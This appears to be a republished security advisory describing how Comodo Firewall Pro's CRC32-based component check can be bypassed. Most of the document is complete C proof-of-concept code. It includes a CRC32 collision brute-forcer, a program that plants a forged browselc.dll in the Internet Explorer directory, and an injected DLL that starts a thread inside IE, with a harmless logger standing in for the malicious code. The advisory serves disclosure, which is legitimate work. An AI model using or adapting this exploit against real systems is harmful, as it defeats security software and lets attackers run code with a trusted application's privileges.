|
Brought to you by:
Suppliers of:
|
|
|
| |
| The way Comodo verifies its components is vulnerable to CRC32 collisions, allowing attackers to replace Comodo's files without the program detecting it. |
| |
Credit:
The information has been provided by Matousec - Transparent security Research.
The original article can be found at: http://www.matousec.com/info/advisories/Comodo-DLL-injection-via-weak-hash-function-exploitation.php
|
| |
Vulnerable software:
* Comodo Firewall Pro 2.4.17.183
* Comodo Firewall Pro 2.4.16.174
* Comodo Personal Firewall 2.3.6.81
* probably all older versions of Comodo Personal Firewall 2
* possibly older versions of Comodo Personal Firewall
Comodo Firewall Pro (former Comodo Personal Firewall) implements a component control, which is based on a checksum
comparison of process modules. Probably to achieve a better performance, cyclic redundancy check (CRC32) is used as a
checksum function in its implementation. However, CRC32 was developed for error detection purposes and can not be used
as a reliable cryptographic hashing function because it is possible to generate collisions in real time. The character
of CRC32 allows attacker to construct a malicious module with the same CRC32 checksum as a chosen trusted module in the
target system and thus bypass the protection of the component control.
Exploit:
crc32.c
/*
CRC32 checksum calculator
based on implementation of "efone - Distributed internet phone system"
*/
/*
* efone - Distributed internet phone system.
*
* (c) 1999,2000 Krzysztof Dabrowski
* (c) 1999,2000 ElysiuM deeZine
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
*/
/* based on implementation by Finn Yannick Jacobs */
#include <stdio.h>
#include <stdlib.h>
#include "crc32.h"
/* crc_tab[] -- this crcTable is being build by chksum_crc32GenTab().
* so make sure, you call it before using the other
* functions!
*/
u_int32_t crc_tab[256];
/* chksum_crc() -- to a given block, this one calculates the
* crc32-checksum until the length is
* reached. the crc32-checksum will be
* the result.
*/
/*
u_int32_t chksum_crc32 (unsigned char *block, unsigned int length)
{
register unsigned long crc;
unsigned long i;
crc = 0xFFFFFFFF;
for (i = 0; i < length; i++)
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc_tab[(crc ^ *block++) & 0xFF];
}
return (crc ^ 0xFFFFFFFF);
}
*/
u_int32_t chksum_crc32_cont (unsigned char *block, unsigned int length,unsigned long i1,unsigned long crc1)
{
register unsigned long crc;
unsigned long i;
// crc = 0xFFFFFFFF;
crc = crc1;
block += i1;
for (i = i1; i < length; i++)
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc_tab[(crc ^ *block++) & 0xFF];
}
// return (crc ^ 0xFFFFFFFF);
return crc;
}
/* chksum_crc32gentab() -- to a global crc_tab[256], this one will
* calculate the crcTable for crc32-checksums.
* it is generated to the polynom [..]
*/
void chksum_crc32gentab ()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 8; j > 0; j--)
{
if (crc & 1)
{
crc = (crc >> 1) ^ poly;
}
else
{
crc >>= 1;
}
}
crc_tab[i] = crc;
}
}
test.c
/*
Testing program for DLL injection via weak hash function exploitation (BTP00005P005CF)
Usage:
prog IEPATH
IEPATH - Internet Explorer installation directory
Description:
This program assumes that Internet Explorer is a privileged application and its components
are protected by CFP to prevent DLL injections. This program copies "browseui.dll" and its
own copy of "browselc.dll" to the Internet Explorer installation directory. When Internet Explorer
is run a malicious code is executed with all the privileges of Internet Explorer.
In this demostration the malicious code is simulated by a harmless code that logs messages to
a file. Fake "browselc.dll" can be arbitrary DLL which is modified on its end to have
the same CRC32 as the original DLL in the system.
Test:
Running the testing program with the Internet Explorer installation directory as an argument
and running Internet Explorer itself.
*/
#include <stdio.h>
#include <windows.h>
#include "crc32.h"
static const struct CRC_IJK
{
u_int32_t crc;
int i;
int j;
int k;
} known[] =
{
{ 0xA69F47D5, 0x0B1B, 0x6554, 0xA86B00E4 }, // Windows 2000 Service Pack 4
{ 0x5BC25C24, 0x0808, 0x6821, 0xC32A810C }, // Windows XP Service Pack 2
{ 0xB6651040, 0x088A, 0x2653, 0xA86B0040 }, // Windows Server 2003 Standard Edition Service Pack 1
{ 0x00000000, 0x0000, 0x0000, 0x00000000 }
};
void about(void)
{
printf("Testing program for DLL injection via weak hash function exploitation (BTP00005P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test IEPATH\n"
" IEPATH - Internet Explorer installation directory\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
chksum_crc32gentab();
char sysdir[MAX_PATH],browseui_org[MAX_PATH],browselc_org[MAX_PATH],browseui_new[MAX_PATH],testdll_new[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
snprintf(browseui_org,MAX_PATH,"%s\\browseui.dll",sysdir);
snprintf(browselc_org,MAX_PATH,"%s\\browselc.dll",sysdir);
snprintf(browseui_new,MAX_PATH,"%s\\browseui.dll",argv[1]);
snprintf(testdll_new,MAX_PATH,"%s\\browselc.dll",argv[1]);
int result=FALSE;
u_int32_t crc_bsorg=0;
HANDLE file=CreateFile(browselc_org,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if (file!=INVALID_HANDLE_VALUE)
{
DWORD size=GetFileSize(file,NULL);
char *data=malloc(size);
if (data)
{
DWORD bytes;
if (ReadFile(file,data,size,&bytes,NULL))
{
crc_bsorg=chksum_crc32_cont(data,size,0,0xFFFFFFFF) ^ 0xFFFFFFFF;
printf("crc=0x%X\n",crc_bsorg);
}
free(data);
}
CloseHandle(file);
}
int ki=1,kj=1,kk=0xC32A8101,kmatch=FALSE;
for (int idx=0;known[idx].crc;idx++)
if (known[idx].crc==crc_bsorg)
{
kmatch=TRUE;
ki=known[idx].i;
kj=known[idx].j;
kk=known[idx].k;
printf("CRC value for \"browselc.dll\" matches known value idx = %d.\n",idx);
break;
}
int match=FALSE;
file=CreateFile("testdll.dll",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if (file!=INVALID_HANDLE_VALUE)
{
DWORD size=GetFileSize(file,NULL);
char *data=malloc(size);
if (data)
{
DWORD bytes;
if (ReadFile(file,data,size,&bytes,NULL))
{
int pat=0;
for (int i=0;i<size-sizeof(DWORD);i++)
if ((*(DWORD*)&data[i])==0x58585858)
{
pat=i;
break;
}
if (pat)
{
printf("Pattern found at offset %d.\n",pat);
u_int32_t crc1=chksum_crc32_cont(data,pat,0,0xFFFFFFFF);
printf("crc1 = 0x%X\n",crc1);
PDWORD di=(PDWORD)&data[pat+0];
PDWORD dj=(PDWORD)&data[pat+sizeof(DWORD)];
PDWORD dk=(PDWORD)&data[pat+2*sizeof(DWORD)];
printf("Assembling DLL ...");
u_int32_t crc_test=0;
for (int k=kk;k!=0;k++)
{
*dk=(DWORD)k;
for (int j=kj;j<0x8000;j++)
{
*dj=(DWORD)j;
for (int i=ki;i<0x1000;i++)
{
*di=(DWORD)i;
crc_test=chksum_crc32_cont(data,size,pat,crc1) ^ 0xFFFFFFFF;
match=crc_test==crc_bsorg;
if (match)
{
printf("\n\nMatch found for i=0x%lX, j=0x%lX, k=0x%lX\n",(DWORD)i,(DWORD)j,(DWORD)k);
break;
}
}
if (match) break;
}
if (!(k%0x100))
printf("\ncurrent k = 0x%lX, last hash = 0x%X continue ",(DWORD)k,crc_test);
if (match) break;
}
printf("\n");
} else fprintf(stderr,"Unable to find pattern in \"testdll.dll\".\n");
}
if (match)
{
HANDLE newfile=CreateFile(testdll_new,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (newfile!=INVALID_HANDLE_VALUE)
{
if (WriteFile(newfile,data,size,&bytes,NULL))
{
result=CopyFile(browseui_org,browseui_new,FALSE);
if (!result)
{
fprintf(stderr,"Unable to copy \"%s\" to \"%s\".\n",browseui_org,browseui_new);
print_last_error();
fprintf(stderr,"\n");
} else printf("\"%s\" copied to \"%s\".\n",browseui_org,browseui_new);
} else
{
fprintf(stderr,"Unable to write to file \"%s\".\n",testdll_new);
print_last_error();
fprintf(stderr,"\n");
}
CloseHandle(newfile);
} else
{
fprintf(stderr,"Unable to create file \"%s\".\n",testdll_new);
print_last_error();
fprintf(stderr,"\n");
}
}
free(data);
}
CloseHandle(file);
} else
{
fprintf(stderr,"Unable to open \"testdll.dll\".\n");
print_last_error();
fprintf(stderr,"\n");
}
result ? printf("\nTEST SUCCESSFUL!\n") : printf("\nTEST FAILED!\n");
return result ? 0 : 1;
}
testdll.c
/*
Helper DLL for Testing program for DLL injection via weak hash function exploitation (BTP00005P005CF)
Description:
This DLL will be loaded into Internet Explorer when it starts. IE is assumed to be allowed to access the Internet.
A malicious code is simulated by a harmless code that logs messages to a file in this sample.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <ddk/ntapi.h>
HANDLE thread=NULL;
char msg[1024];
/*
logmsg logs messages to C:\BTP00005P005CF.log
*/
void logmsg(void)
{
HANDLE log=CreateFile("C:\\BTP00005P005CF.log",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (log!=INVALID_HANDLE_VALUE)
{
SetFilePointer(log,0,NULL,FILE_END);
DWORD bytes;
WriteFile(log,msg,strlen(msg),&bytes,NULL);
CloseHandle(log);
}
return;
}
/*
thread routine that can execute malicious code with privileges of "iexplore.exe"
*/
DWORD WINAPI thread_proc(HMODULE module)
{
char hostname[MAX_PATH],dllname[MAX_PATH];
GetModuleFileName(module,dllname,sizeof(dllname));
GetModuleFileName(NULL,hostname,sizeof(hostname));
while (1)
{
snprintf(msg,1024,"Any code can be executed now in process PID=%ld (%s), using module at 0x%p.\n",
GetCurrentProcessId(),hostname,module);
logmsg();
Sleep(10000);
}
return 0;
}
/*
DLL entry point
*/
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
if (fdwReason==DLL_PROCESS_ATTACH)
{
snprintf(msg,1024,"DLL_PROCESS_ATTACH for testdll.dll in process PID=%ld, TID=%ld, hinstDLL = 0x%p\n",
GetCurrentProcessId(),GetCurrentThreadId(),hinstDLL);
logmsg();
DisableThreadLibraryCalls(hinstDLL);
thread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc,hinstDLL,0,NULL);
if (thread)
{
snprintf(msg,1024,"DLL_PROCESS_ATTACH[PID=%ld,TID=%ld] New thread created\n",GetCurrentProcessId(),GetCurrentThreadId());
logmsg();
} else
{
snprintf(msg,1024,"DLL_PROCESS_ATTACH[PID=%ld,TID=%ld] ERROR: CreateThread failed with error %ld\n",
GetCurrentProcessId(),GetCurrentThreadId(),GetLastError());
logmsg();
}
}
if ((fdwReason==DLL_PROCESS_DETACH) && thread)
{
snprintf(msg,1024,"DLL_PROCESS_DETACH for testdll.dll in process PID=%ld, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
logmsg();
TerminateThread(thread,0);
CloseHandle(thread);
}
return TRUE;
}
crc32.h
/*
CRC32 checksum calculator
based on implementation of "efone - Distributed internet phone system"
*/
/*
* efone - Distributed internet phone system.
*
* (c) 1999,2000 Krzysztof Dabrowski
* (c) 1999,2000 ElysiuM deeZine
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
*/
/* based on implementation by Finn Yannick Jacobs. */
#define u_int32_t unsigned int
void chksum_crc32gentab ();
//u_int32_t chksum_crc32 (unsigned char *block, unsigned int length);
u_int32_t chksum_crc32_cont (unsigned char *block, unsigned int length,unsigned long i,unsigned long crc);
extern u_int32_t crc_tab[256];
|
|
|
|
|